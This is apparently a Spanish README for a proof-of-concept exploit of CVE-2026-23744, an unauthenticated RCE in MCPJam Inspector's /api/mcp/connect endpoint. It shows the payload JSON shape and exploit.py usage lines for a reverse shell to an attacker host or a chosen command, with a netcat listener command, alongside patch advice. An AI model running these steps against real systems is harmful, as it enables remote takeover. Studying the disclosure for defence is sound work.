
Exploit de prueba de concepto para CVE-2026-23744, un RCE no autenticado en MCPJam Inspector. Proporciona shell inversa y ejecución de comandos a través de un endpoint de API vulnerable.
CVE-2026-23744 es una vulnerabilidad crítica de ejecución remota de código (RCE) sin autenticación que afecta a MCPJam Inspector ≤ 1.4.2. El problema surge porque Inspector expone un endpoint de administración (/api/mcp/connect) que acepta configuración de servidor MCP controlada por el usuario y puede desencadenar la ejecución de procesos sin una autenticación adecuada ni restricciones de seguridad. Las versiones afectadas escuchan en 0.0.0.0 (todas las interfaces) por defecto en lugar de localhost, lo que hace posible la explotación remota si el servicio es accesible desde la red.
La vulnerabilidad está asociada con el siguiente endpoint:
POST /api/mcp/connect
El endpoint acepta un objeto JSON que contiene una configuración de servidor, como:
{
"serverConfig": {
"command": "<executable>",
"args": ["<arguments>"],
"env": {}
},
"serverId": "<identifier>"
}
Esta configuración proporcionada es utilizada luego por MCPJam Inspector para crear y gestionar un nuevo proceso de servidor MCP. Dado que el endpoint carece de autenticación y controles de seguridad suficientes, un atacante puede enviar definiciones arbitrarias de procesos que son ejecutadas por el servicio Inspector.
Fundamentalmente, la vulnerabilidad es un problema de Ausencia de Autenticación para Funciones Críticas (CWE-306) en el que la aplicación expone funcionalidad destinada a usuarios locales de confianza y la hace accesible a través de la red sin controles de seguridad adecuados.
La vulnerabilidad surge de dos fallos de diseño:
0.0.0.0 por defecto.La ruta de ataque resultante se puede visualizar de la siguiente manera:
Attacker → /api/mcp/connect → Process Creation → Operating System
Dado que la aplicación interactúa directamente con la creación de procesos del sistema operativo, una explotación exitosa puede resultar en la ejecución arbitraria de comandos dentro del contexto de seguridad del servicio MCPJam Inspector.
python3 exploit.py -t <target_url> -tport <target_port> -lhost <local_ip> -lport <port>
-t (o) --target: URL objetivo o dirección IP objetivo.-tport (o) --target-port: Puerto objetivo al que conectarse; en la mayoría de los casos es 6274 para MCPJam Inspector. No use este argumento si MCPJam Inspector está alojado en otro lugar, como en un subdominio o un host virtual. En su lugar, use el argumento -t para especificar el subdominio o el host virtual.-lhost (o) --local-host: Dirección IP pública para que la reverse shell se conecte de vuelta.-lport (o) --local-port: Puerto que se utilizará para la reverse shell.python3 exploit.py -t <target_url> -tport <target_port> -lhost <local_ip> -lport <port> -c '<command>'
-c (o) --command: Comando que se ejecutará en el objetivo.Antes de usar este programa, primero debe iniciar un listener en su máquina local usando Netcat.
Para hacerlo, use el siguiente comando:
nc -lvnp <port>
Luego, ejecute el comando anterior para obtener una reverse shell en el objetivo.
Una explotación exitosa puede permitir a un atacante:
A la vulnerabilidad se le ha asignado una puntuación CVSS v3.1 de 9.8 (Crítico) debido a su vector de ataque basado en red, la falta de autenticación, la ausencia de interacción del usuario y el alto impacto en la confidencialidad, integridad y disponibilidad.
Actualice inmediatamente a MCPJam Inspector 1.4.3 o posterior. Las medidas defensivas adicionales incluyen:
Este PoC es únicamente para fines educativos, investigación defensiva de seguridad y pruebas de seguridad autorizadas. Solo debe utilizarse contra sistemas con permiso explícito. El uso no autorizado contra sistemas de terceros puede violar las leyes y regulaciones aplicables. El propietario de este repositorio no es responsable de ningún daño causado por el uso de este programa.